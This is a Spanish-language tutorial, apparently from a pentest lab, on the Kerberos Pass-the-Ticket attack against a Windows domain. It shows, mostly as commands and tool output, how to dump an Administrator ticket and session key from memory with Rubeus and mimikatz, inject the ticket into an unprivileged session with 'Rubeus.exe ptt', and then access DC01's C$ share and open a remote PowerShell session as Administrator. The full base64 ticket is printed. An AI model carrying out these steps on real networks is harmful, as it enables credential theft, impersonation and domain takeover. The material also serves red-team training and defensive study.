Pass-The-Ticket

Esta tecnica se tiene que realizar con un usuario administrador local para asi poder obtener de primeras los tickets que estan en memoria de los usuarios tanto de dominio como locales, con este volcado podremos identificar el ticket que nos inetersa que en nuestro caso seria el de administrador y poderlo utilizar para lo siguiente:

Abriremos una PowerShell como administrador local:

cd C:\Users\empleado1\Desktop\Rubeus-master\Rubeus\bin\Debug
.\Rubeus.exe dump

Info:

   ______        _
  (_____ \      | |
   _____) )_   _| |__  _____ _   _  ___
  |  __  /| | | |  _ \| ___ | | | |/___)
  | |  \ \| |_| | |_) ) ____| |_| |___ |
  |_|   |_|____/|____/|_____)____/(___/

  v2.3.2


Action: Dump Kerberos Ticket Data (All Users)

[*] Current LUID    : 0x75991

  UserName                 : Administrator
  Domain                   : CORP
  LogonId                  : 0x598e8b
  UserSID                  : S-1-5-21-3352250647-938130414-2449934813-500
  AuthenticationPackage    : Kerberos
  LogonType                : Interactive
  LogonTime                : 21/01/2025 10:28:20
  LogonServer              : DC01
  LogonServerDNSDomain     : CORP.LOCAL
  UserPrincipalName        : Administrator@corp.local


    ServiceName              :  krbtgt/CORP.LOCAL
    ServiceRealm             :  CORP.LOCAL
    UserName                 :  Administrator (NT_PRINCIPAL)
    UserRealm                :  CORP.LOCAL
    StartTime                :  21/01/2025 10:28:20
    EndTime                  :  21/01/2025 20:28:20
    RenewTill                :  28/01/2025 10:28:20
    Flags                    :  name_canonicalize, pre_authent, initial, renewable, forwardable
    KeyType                  :  aes256_cts_hmac_sha1
    Base64(key)              :  1haTvwEUVP06GAVOv9tgQs1SEXodWp7P9oXQ0d3VNDk=
    Base64EncodedTicket   :

      doIFODCCBTSgAwIBBaEDAgEWooIEPjCCBDphggQ2MIIEMqADAgEFoQwbCkNPUlAuTE9DQUyiHzAdoAMCAQKhFjAUGwZrcmJ0Z3QbCkNPUlAuTE9DQUyjggP6MIID9qADAgESoQMCAQKiggPoBIID5AMyKDiLVLYEwQzG/4Cu4SkPpUx19tbz5NumDn6fNfQYttf9jgFQQl7Sj0fmyFMyfwbR+q7hY17MXkWqIytvoHNbLhIX7q9oBoCPyGitWk3KWsQM5xM+MjAzhRozElkZrIRUzOCNuO2XXaXTNRPt/TVRnviKcQkw7TVNyjavfiF6epEX8lBMj/H75nYLvT1Pu2514VCeWvgF6P5cMWzm1hp3dYJunK3UgsmWZVRmNes7htUI13AvA7dioiQeetOVVi0m+QtP6SErAziEvHzRWqjlXXKHIJ4ojTCErl3Xni7Beao+6ObVFXppVPs00R3foKETDb2yOfFwDGioflAIkW2vFMYG1RZ2g/gf8OvoUAIdaDKPi0Tsien576MFRDO1N0Zb+r35YBGe3r4Ln3q4wKfv8Hx7Nwrr9VZihoMXcS/Z5XMG+Sg+Gz9dz3A619bC2Ym/MnqEKY+QNKraFeqY14JydkKM3W7N67r/odrqS1JtDlttvZaxjsDx/eeCFZjcCxyD2XHT49fSVYvH+xrjVgB2PiQBWhqg85RCJFXvGtkjkXkWEdm/wUvcI/S7Sh0K0yNsMbQ92OCxl4tl2HSiTJ31WYNY/op3H0Xi5lGXfCWHHKQY2eQldSx0c9W/ZZGyc+m3aYYv+sIBa5qNCyWj4r309FmzDXmA+ODl7Wo7Xb/wy5ZL6RcdohuEwF7rYdOPvy5lw3redegdhgvz3iGltzDmhr5NWFQXyOv77Zt821oyy3W7hcp6NEFQDCT8QvwnQrblJnutU3ByANqADDsICX/+i5Ih3EFWjmUa5kewkPfzQ5H09sQaffPLXUsJuCVuQ0oQ6vYifwaQS7MlWiZEf8hWm6kbTLM+g07y+pDt6H6MLtIlYrI/nScalqfiVC3Mc3CSQzhS5a5nNykPtmGPaHZAmOFBO8iR1eoX1RdnOcvscRnn5vmf2ESLpoD1U5so/tW+Utfb676hN8N5LzrxAyJn9n661Owpvbl2AzOfPw4SKYIiCCLBkTEMX7I1GewmJX6mJvt/PcOmnl2Lgt3UsJ+g30Nm1RQJWIfq3I0rwWv1sUvBGtsGoae3U1YySL0Z7SOeqhVT5mO6i2FhNdwoGcK7SUE5QUCQTUD6xZVinRXP//5jTg13R+Y+W7lSt0fBEBbkrEeWyvLXl2koMLhpdhL6XP5z7PoOLvltNOqos4Ih+4WS5Pto1mXpEOkQ+Fuuy+kIBcRMU9rqZj6U3MxLxRhazUSQn6a7DFH47Ar3vIC+wJYEFggFF2lWNGOFlei2AqhGteVb70x68Sn74H/tuOOAGm/u/MRr7uwLF7pUZl0XYZH8eaOB5TCB4qADAgEAooHaBIHXfYHUMIHRoIHOMIHLMIHIoCswKaADAgESoSIEINYWk78BFFT9OhgFTr/bYELNUhF6HVqez/aF0NHd1TQ5oQwbCkNPUlAuTE9DQUyiGjAYoAMCAQGhETAPGw1BZG1pbmlzdHJhdG9yowcDBQBA4QAApREYDzIwMjUwMTIxMDkyODIwWqYRGA8yMDI1MDEyMTE5MjgyMFqnERgPMjAyNTAxMjgwOTI4MjBaqAwbCkNPUlAuTE9DQUypHzAdoAMCAQKhFjAUGwZrcmJ0Z3QbCkNPUlAuTE9DQUw=
.................................<RESTO_CODIGO>...................................

Mucha gente en internet comenta que copiando este TGT a nombre del usuario administrador ya podremos solicitar Tickets de servicio a su nombre, pero no es del todo cierto ya que nos faltaria la clave de sesion del usuario administrador, Rubeus nos propociona este TGT del usuario administrador pero dentro del mismo tambien esta la clave de sesion de dicho usuario, de momento lo dejaremos ahi en segundo plano y vamos a ver con la herramienta mimikatz como se vuelca esta informacion mas la clave de sesion que nosotros necesitamos.

Ejecutamos mimikatz:

sekurlsa::tickets

Info:

Authentication Id : 0 ; 5869195 (00000000:00598e8b)
Session           : Interactive from 0
User Name         : Administrator
Domain            : CORP
Logon Server      : DC01
Logon Time        : 21/01/2025 10:28:20
SID               : S-1-5-21-3352250647-938130414-2449934813-500

         * Username : Administrator
         * Domain   : CORP.LOCAL
         * Password : (null)

        Group 0 - Ticket Granting Service

        Group 1 - Client Ticket ?

        Group 2 - Ticket Granting Ticket
         [00000000]
           Start/End/MaxRenew: 21/01/2025 10:28:20 ; 21/01/2025 20:28:20 ; 28/01/2025 10:28:20
           Service Name (02) : krbtgt ; CORP.LOCAL ; @ CORP.LOCAL
           Target Name  (02) : krbtgt ; CORP ; @ CORP.LOCAL
           Client Name  (01) : Administrator ; @ CORP.LOCAL ( CORP )
           Flags 40e10000    : name_canonicalize ; pre_authent ; initial ; renewable ; forwardable ;
           Session Key       : 0x00000001 - des_cbc_crc
             d61693bf011454fd3a18054ebfdb6042cd52117a1d5a9ecff685d0d1ddd53439
           Ticket            : 0x00000012 - aes256_hmac       ; kvno = 2        [...]
.................................<RESTO_CODIGO>...................................

Pues aqui vemos que nos vuelca a parte del ticket la session key que es la que Rubeus nos vuelca pero todo de golpe en un paquete cifrado.

Session Key       : 0x00000001 - des_cbc_crc
Ticket            : 0x00000012 - aes256_hmac

Ahora lo que nosotros podemos hacer es reinyectar ese ticket en memoria para otra sesion otra logon session de un usuario distinta al usuario administrador.

La diferencia del pth es que con esta informacion obtenida del ticket al igual que haciamos antes en un pth nosotros nos podemos ir a otro sistema, otro equipo en el que no tengamos ningun privilegio de nada, por ejemplo abriendo un PowerShell sin ningun tipo de privilegios de administrador local, ni de dominio y poder realizar esta tecnica ptt sin requerir ningun privilegio de administrador.

Acordemonos de que teniamos el ticket que nos proporciono Rubeus, y con ese Ticket lo que podemos hacer es reinyectarnoslo en otro equipo o usuario que no tengamos privilegios de administrador para solicitar Tickets de servicio consumiendo dichos servicios con dicho usuario en nombre del usuario administrador.

Abriremos una PowerShell como usuario normal y utilizaremos Rubeus para realizar esta tecnica sin ningun tipo de privilegio:

cd C:\Users\empleado1\Desktop\Rubeus-master\Rubeus\bin\Debug
.\Rubeus.exe ptt /ticket:doIFODCCBTSgAwIBBaEDAgEWooIEPjCCBDphggQ2MIIEMqADAgEFoQwbCkNPUlAuTE9DQUyiHzAdoAMCAQKhFjAUGwZrcmJ0Z3QbCkNPUlAuTE9DQUyjggP6MIID9qADAgESoQMCAQKiggPoBIID5AMyKDiLVLYEwQzG/4Cu4SkPpUx19tbz5NumDn6fNfQYttf9jgFQQl7Sj0fmyFMyfwbR+q7hY17MXkWqIytvoHNbLhIX7q9oBoCPyGitWk3KWsQM5xM+MjAzhRozElkZrIRUzOCNuO2XXaXTNRPt/TVRnviKcQkw7TVNyjavfiF6epEX8lBMj/H75nYLvT1Pu2514VCeWvgF6P5cMWzm1hp3dYJunK3UgsmWZVRmNes7htUI13AvA7dioiQeetOVVi0m+QtP6SErAziEvHzRWqjlXXKHIJ4ojTCErl3Xni7Beao+6ObVFXppVPs00R3foKETDb2yOfFwDGioflAIkW2vFMYG1RZ2g/gf8OvoUAIdaDKPi0Tsien576MFRDO1N0Zb+r35YBGe3r4Ln3q4wKfv8Hx7Nwrr9VZihoMXcS/Z5XMG+Sg+Gz9dz3A619bC2Ym/MnqEKY+QNKraFeqY14JydkKM3W7N67r/odrqS1JtDlttvZaxjsDx/eeCFZjcCxyD2XHT49fSVYvH+xrjVgB2PiQBWhqg85RCJFXvGtkjkXkWEdm/wUvcI/S7Sh0K0yNsMbQ92OCxl4tl2HSiTJ31WYNY/op3H0Xi5lGXfCWHHKQY2eQldSx0c9W/ZZGyc+m3aYYv+sIBa5qNCyWj4r309FmzDXmA+ODl7Wo7Xb/wy5ZL6RcdohuEwF7rYdOPvy5lw3redegdhgvz3iGltzDmhr5NWFQXyOv77Zt821oyy3W7hcp6NEFQDCT8QvwnQrblJnutU3ByANqADDsICX/+i5Ih3EFWjmUa5kewkPfzQ5H09sQaffPLXUsJuCVuQ0oQ6vYifwaQS7MlWiZEf8hWm6kbTLM+g07y+pDt6H6MLtIlYrI/nScalqfiVC3Mc3CSQzhS5a5nNykPtmGPaHZAmOFBO8iR1eoX1RdnOcvscRnn5vmf2ESLpoD1U5so/tW+Utfb676hN8N5LzrxAyJn9n661Owpvbl2AzOfPw4SKYIiCCLBkTEMX7I1GewmJX6mJvt/PcOmnl2Lgt3UsJ+g30Nm1RQJWIfq3I0rwWv1sUvBGtsGoae3U1YySL0Z7SOeqhVT5mO6i2FhNdwoGcK7SUE5QUCQTUD6xZVinRXP//5jTg13R+Y+W7lSt0fBEBbkrEeWyvLXl2koMLhpdhL6XP5z7PoOLvltNOqos4Ih+4WS5Pto1mXpEOkQ+Fuuy+kIBcRMU9rqZj6U3MxLxRhazUSQn6a7DFH47Ar3vIC+wJYEFggFF2lWNGOFlei2AqhGteVb70x68Sn74H/tuOOAGm/u/MRr7uwLF7pUZl0XYZH8eaOB5TCB4qADAgEAooHaBIHXfYHUMIHRoIHOMIHLMIHIoCswKaADAgESoSIEINYWk78BFFT9OhgFTr/bYELNUhF6HVqez/aF0NHd1TQ5oQwbCkNPUlAuTE9DQUyiGjAYoAMCAQGhETAPGw1BZG1pbmlzdHJhdG9yowcDBQBA4QAApREYDzIwMjUwMTIxMDkyODIwWqYRGA8yMDI1MDEyMTE5MjgyMFqnERgPMjAyNTAxMjgwOTI4MjBaqAwbCkNPUlAuTE9DQUypHzAdoAMCAQKhFjAUGwZrcmJ0Z3QbCkNPUlAuTE9DQUw=

Info:

   ______        _
  (_____ \      | |
   _____) )_   _| |__  _____ _   _  ___
  |  __  /| | | |  _ \| ___ | | | |/___)
  | |  \ \| |_| | |_) ) ____| |_| |___ |
  |_|   |_|____/|____/|_____)____/(___/

  v2.3.2


[*] Action: Import Ticket
[+] Ticket successfully imported!

Y veremos que el Ticket se importo con exito.

Ahora si en PowerShell ponemos el siguiente comando para ver los Tickets que tenemos con el usuario actual, veremos lo siguiente:

klist

Info:

El id. de inicio de sesión actual es 0:0x759ab

Vales almacenados en caché: (1)

#0>     Cliente: Administrator @ CORP.LOCAL
        Servidor: krbtgt/CORP.LOCAL @ CORP.LOCAL
        Tipo de cifrado de vale Kerberos: AES-256-CTS-HMAC-SHA1-96
        Marcas de vale 0x40e10000 -> forwardable renewable initial pre_authent name_canonicalize
        Hora de inicio: 1/21/2025 10:28:20 (local)
        Hora de finalización:   1/21/2025 20:28:20 (local)
        Hora de renovación: 1/28/2025 10:28:20 (local)
        Tipo de clave de sesión: AES-256-CTS-HMAC-SHA1-96
        Marcas de caché: 0x1 -> PRIMARY
        KDC llamado:

Vemos que tenemos el Ticket del usuario Administrador, por lo que funciono correctamente todo.

Si por ejemplo ponemos lo siguiente:

dir \\DC01\c$

Veremos que nos deja listarlo, ya que nos estamos haciendo pasar por el usuario administrador.

Tambien si hacemos lo siguiente para obtener una sesion remota como el usuario Administrador utilizando este Ticket que nos hemos importado con exito, veremos que funciona:

Enter-PSSession -ComputerName DC01

Info:

[DC01]: PS C:\Users\Administrator\Documents> whoami
corp\administrator

Veremos que funciona correctamente.

Si ahora por ejemplo reiniciamos el equipo, nos solicitara de nuevo el TGT pero del usuario empelado1 por lo que tendriamos que importarnos nuevamente ese Ticket de administrador.

Last updated